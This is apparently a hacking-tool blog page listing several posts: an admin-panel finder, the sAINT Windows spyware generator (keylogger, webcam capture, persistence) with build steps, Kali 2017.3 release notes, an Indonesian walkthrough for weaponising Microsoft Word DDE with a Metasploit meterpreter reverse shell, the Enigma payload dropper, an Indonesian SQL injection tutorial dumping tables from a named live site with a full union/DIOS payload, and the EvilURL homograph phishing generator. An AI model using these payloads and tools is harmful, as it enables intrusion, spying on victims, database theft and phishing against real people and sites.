Termux ID: Kali Linux -->

    Social Items

Home / Kali Linux


Python is a multipurpose interpretative programming language [9] with a design philosophy that focuses on code readability. [10] Python is claimed as a language that combines capability, capability, with very clear code syntax, [11] and comes with a large and comprehensive standard library functionality.

Python supports multi-paradigm programming, primarily; but not limited; on object-oriented programming, imperative programming, and functional programming. One of the features available on python is as a dynamic programming language that comes with automatic memory management. As with other dynamic programming languages, python is commonly used as a scripting language although in practice the use of this language is broader including the context of utilization that is not generally done using scripting languages. Python can be used for various software development purposes and can run on various operating system platforms.

Currently python code can run on various operating system platforms, some of which are:

Linux / Unix
Windows
Mac OS X
Java Virtual Machine
OS / 2
Amiga
Palm

Symbian (for Nokia products)

Running : 
Usage : python.py -t targetsite.com -v





Download Here


Related :

Admin finder python free download
Admin Finder [PYTHON SCRIPT] 
Admin Page Finder Python Script On Backtrack
Python Admin Page Finder Script
A Python Script to find admin panel of a site
Download Admin Page Finder 
Download Admin Finder
How To Find Admin Login Website
Download Admin Finder With Python
Find Admin Page 
Download Script Python Admin Login Page Finder

Download CPScanner Admin Login Page Finder With Python Script - Update


(s)AINT is a Spyware Generator for Windows systems written in Java.

Features
  • Keylogger
  • Take Screenshot
  • Webcam Capture
  • Persistence

Tested On
Kali Linux - ROLLING EDITION

How To Use
# Install dependencies (you need Maven and JDK 8 package installed)
$ apt install maven default-jdk default-jre openjdk-8-jdk openjdk-8-jre -y

# To generate a .EXE using launch4j are necessary the following packages
$ apt install zlib1g-dev libncurses5-dev lib32z1 lib32ncurses5 -y

# Clone this repository
$ git clone https://github.com/tiagorlampert/sAINT.git

# Go into the repository
$ cd sAINT

# Install and configure Maven libraries
$ sudo chmod +x configure.sh
$ ./configure.sh

# Run
$ java -jar sAINT.jar
E-mail will be sent when it reaches the specified number of characters. Optionally you can enable Screenshot, Webcam Capture and Persistence.

Screenshot

Maven dependencies


Generate spyware



Run

Install Java JRE 8


Run .EXE


or Run .JAR


Data

Local


E-mail


How to uninstall
To uninstall run UNINSTALL.bat with administrative permissions.


sAINT - A Spyware Generator for Windows systems written in Java



Kali Linux 2017.3 released, which includes all patches, fixes, updates, and improvements since our last release. In this release, the kernel has been updated to 4.13.10 and it includes some notable improvements:
In addition to the new kernel and all of the updates and fixes we pull from Debian, we have also updated our packages for Reaver, PixieWPS, Burp Suite, Cuckoo, The Social Engineering Toolkit, and more. Take a look at the Kali Changelog to see what else has been updated in this release, or read on to see what else is new.

New Tool Additions

Since our last release in September, we’ve added four new tools to the distribution, most of which focus on the always-lucrative open source information gathering. These new tools are not included in the default installation but after an ‘apt update’, you can check out and install the ones that interest you. We, of course, think they’re all interesting and hope you do as well.

InSpy

InSpy is a small but useful utility that performs enumeration on LinkedIn and can find people based on job title, company, or email address.
root@kali:~# apt update && apt -y install inspy
root@kali:~# inspy --empspy /usr/share/inspy/wordlists/title-list-large.txt google

InSpy 2.0.3

2017-11-14 14:04:47 53 Employees identified
2017-11-14 14:04:47 Birkan Cara Product Manager at Google
2017-11-14 14:04:47 Fuller Galipeau Google
2017-11-14 14:04:47 Catalina Alicia Esrat Account Executive at Google
2017-11-14 14:04:47 Coplan Pustell Recruiter at Google
2017-11-14 14:04:47 Kristin Suzanne Lead Recruiter at Google
2017-11-14 14:04:47 Baquero Jahan Executive Director at Google
2017-11-14 14:04:47 Jacquelline Bryan VP, Google and President of Google.org
2017-11-14 14:04:47 Icacan M. de Lange Executive Assistant at Google
...

CherryTree

The oft-requested CherryTree has now been added to Kali for all of your note-taking needs. CherryTree is very easy to use and will be familiar to you if you’ve used any of the “big-name” note organization applications.
root@kali:~# apt update && apt -y install cherrytree


Sublist3r

Sublist3r is a great application that enables you to enumerate subdomains across multiple sources at once. It has integrated the venerable SubBrute, allowing you to also brute force subdomains using a wordlist.
root@kali:~# apt update && apt -y install sublist3r
root@kali:~# sublist3r -d google.com -p 80 -e Bing

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for google.com
[-] Searching now in Bing..
[-] Total Unique Subdomains Found: 46
[-] Start port scan now for the following ports: 80
ads.google.com - Found open ports: 80
adwords.google.com - Found open ports: 80
analytics.google.com - Found open ports: 80
accounts.google.com - Found open ports: 80
aboutme.google.com - Found open ports: 80
adssettings.google.com - Found open ports: 80
console.cloud.google.com - Found open ports: 80
...

OSRFramework

Another excellent OSINT tool that has been added to the repos is OSRFramework, a collection of scripts that can enumerate users, domains, and more across over 200 separate services.
root@kali:~# apt update && apt -y install osrframework
root@kali:~# searchfy.py -q "dookie2000ca"

  ___  ____  ____  _____                                            _
 / _ \/ ___||  _ \|  ___| __ __ _ _ __ ___   _____      _____  _ __| | __
| | | \___ \| |_) | |_ | '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ /
| |_| |___) |  _ <|  _|| | | (_| | | | | | |  __/\ V  V / (_) | |  |   <
 \___/|____/|_| \_\_|  |_|  \__,_|_| |_| |_|\___| \_/\_/ \___/|_|  |_|\_

                Version:      OSRFramework 0.17.2
                Created by:   Felix Brezo and Yaiza Rubio, (i3visio)



searchfy.py Copyright (C) F. Brezo and Y. Rubio (i3visio) 2014-2017

This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you
are welcome to redistribute it under certain conditions. For additional info,
visit https://www.gnu.org/licenses/agpl-3.0.txt

2017-11-14 14:54:52.535108  Starting search in different platform(s)... Relax!

    Press  to stop...

2017-11-14 14:55:04.310148  A summary of the results obtained are listed in the following table:

Sheet Name: Profiles recovered (2017-11-14_14h55m).
+---------------------------------+---------------+------------------+
|           i3visio_uri           | i3visio_alias | i3visio_platform |
+=================================+===============+==================+
| http://github.com/dookie2000ca  | dookie2000ca  | Github           |
+---------------------------------+---------------+------------------+
| http://twitter.com/dookie2000ca | dookie2000ca  | Twitter          |
+---------------------------------+---------------+------------------+

2017-11-14 14:55:04.327954  You can find all the information collected in the following files:
    ./profiles.csv

2017-11-14 14:55:04.328012  Finishing execution...

Total time used:    0:00:11.792904
Average seconds/query:  11.792904 seconds

Did something go wrong? Is a platform reporting false positives? Do you need to
integrate a new one and you don't know how to start? Then, you can always place
an issue in the Github project:
    https://github.com/i3visio/osrframework/issues
Note that otherwise, we won't know about it!

Massive Maltego Metamorphosis

One of our favourite applications in Kali has always been Maltego, the incredible open-source information gathering tool from Paterva, and the equally incredible Casefile. These two applications had always been separate entities (get it?) but as of late September, they are now combined into one amalgamated application that still allows you to run Maltego Community Edition and Casefile, but now it also works for those of you with Maltego Classic or Maltego XL licenses. As always, the tools perform wonderfully and look great doing it.




Kali Linux 2017.3 Release - The Best Penetration Testing Distribution



Maxteroit - Akhir akhir ini telah ditemukan sebuah cara untuk memanfaatkan salah satu fitur yang ada pada Microsoft Windows untuk melakukan suspicous activity. Fitur itu tak lain ialah DDE, kabarnya pula fitur ini telah banyak disalahgunakan untuk menyebarkan malware dan ransomeware.

Sekilas Mengenai Microsoft DDE Vulnerability

DDE ( Dynamic Data Exchange ) merupakan salah satu fitur dalam Microsoft Office yang memungkinkan dua buah aplikasi untuk membagikan data yang sama. Sayangnya beberapa waktu lalu telah ditemukan cara memanfaatkan fitur tersebut untuk melakukan arbitary code execution. Salah satu keunggulan kelemahan ini adalah tak ada pop up warning , tak membutuhkan macros, dan tak memerlukan memory corruption.

Alat Tempur

Langkah-langkah

  • -         Download script dengan perintah

wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
  • -         Simpan di

/usr/share/metasploit-framework/modules/exploits/windows/
  • -         Jalankan Metasploit
  • -         Jalankan perintah 

use exploits/windows/dde_delivery

  • -     Setting payload 

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.x.x

set LPORT 4444

  • -         Jalankan exploit
  • -         Copy script yang muncul pada module dan buka VirtualMachine kalian
  • -         Buka Microsoft Word
  • -         Klik tab Insert > Quick Parts > Fields > Ok


  •  -        Klik kanan pada kalimat yang muncul, pilih Toggle Field Code

  • -         Ganti dengan script yang kita dapat dari module


  • -         Save !
  • -         Buka file doc yang telah kita simpan tadi.
  • -         Syarat sah agar exploit ini bekerja adalah si korban harus mengklik yes pada 2 window yang keluar


  • -         Bila berhasil maka, Selamat !!! Kamu Baru Saja Mendapatkan Meterpreter Session!!!


Pencegahan

            Untuk mencegah serangan yang serupa maka kita bisa melakukan hal berikut :

Buka Office Button > Word Options > Advanced > uncheck Update Automatic Link at Opens.


Dan cara yang terampuh ialah jangan pernah membuka file mencurigakan apapun yang kalian dapat dari email maupun sumber lain.



Mengeksploitasi Celah 0day Microsoft DDE Vulnerability


Enigma is a Multiplatform payload dropper.

Run
git clone https://github.com/UndeadSec/Enigma.git
cd Enigma
python enigma.py
or
python3 enigma3.py

Prerequisites
  • python 2.7 for enigma.py
  • python 3.x for enigma.py
  • metasploit

Tested on
 Kali Linux - ROLLING EDITION

Video

Enigma - Multiplatform Payload Dropper






oke guys ketemu lg neh sama cakil :v
kali ini saya akan kasih tutorial sqli dengan dios (dump in shoot)
langsung ae guys
dork : sini
ok karna saya lg kurang beruntung ga ketemu list admon nya maka saya akan
ngasih tau dump nya sadja oc :v

ok saya anggap lu udah punya target :v
http://smtmax.com/category.php?id=15
lanjut masukan kode order by



+order+by+1--+ <- ga error
 +order+by+2--+ <- ga error
 dan seterus nya.. dan erorr nya ternyata ada di
 +order+by+15--+ (yang berarti column hanya di 14)
oke kita masukan
+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+ 
(liat gambar di atas)
jadinya akan terlihat seperti ini
http://smtmax.com/category.php?id=15+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+

dan muncul angka 3 dan kita masukan dios nya :v 
(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)
 
jadi akan seperti ini 
http://smtmax.com/category.php?id=15+union+select+1,2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x),4,5,6,7,8,9,10,11,12,13,14--+
(lihat gambar) :v
disini saya akan mendump id,longname,descs (karna tempat admon nya ga tau :v )
 ok masukan
group_concat(id,0x3a,longname,descs) <- karna saya mendump id,longname dan descs bukan admon ea :v kurang beruntung saya kwkwkwkwk :v 
nanti akan terlihat column yang kita dump
(liat gambar)
nanti akan seperti ini
http://smtmax.com/category.php?id=15+union+select+1,2,group_concat(id,0x3a,longname,descs),4,5,6,7,8,9,10,11,12,13,14+from+cms_category--+

nah sudah muncul tuh :v mudah kan ?
ok sekian dan terima kasih :) kalo ada yang ingin di tanya kan silahkan
tanyakan di fp kami
link
 

Cara Mudah SQLI With Dios


An unicode domain phishing generator for IDN Homograph Attack.

VIDEO DEMO

CLONE
git clone https://github.com/UndeadSec/EvilURL.git

RUNNING
cd EvilURL
python evilurl.py

PREREQUISITES
  • python 2.7

TESTED ON
Kali Linux - ROLLING EDITION


EvilURL - An Unicode Domain Phishing Generator for IDN Homograph Attack


TROMMEL sifts through directories of files to identify indicators that may contain vulnerabilities.
TROMMEL identifies the following indicators related to:
  • Secure Shell (SSH) key files
  • Secure Socket Layer (SSL) key files
  • Internet Protocol (IP) addresses
  • Uniform Resource Locator (URL)
  • email addresses
  • shell scripts
  • web server binaries
  • configuration files
  • database files
  • specific binaries files (i.e. Dropbear, BusyBox, etc.)
  • shared object library files
  • web application scripting variables, and
  • Android application package (APK) file permissions.
TROMMEL has also integrated vFeed which allows for further in-depth vulnerability analysis of identified indicators.

Dependencies

Usage
$ trommel.py --help
Output TROMMEL results to a file based on a given directory
$ trommel.py -p /directory -o output_file

Notes
  • TROMMEL has been tested using Python 2.7 on macOS Sierra and Kali Linux x86_64.
  • TROMMEL was written with the intent to help with identifying indicators that may contain vulnerabilities found in firmware of embedded devices.

References


TROMMEL - Sift Through Directories of Files to Identify Indicators That May Contain Vulnerabilities

Subscribe to: Posts (Atom)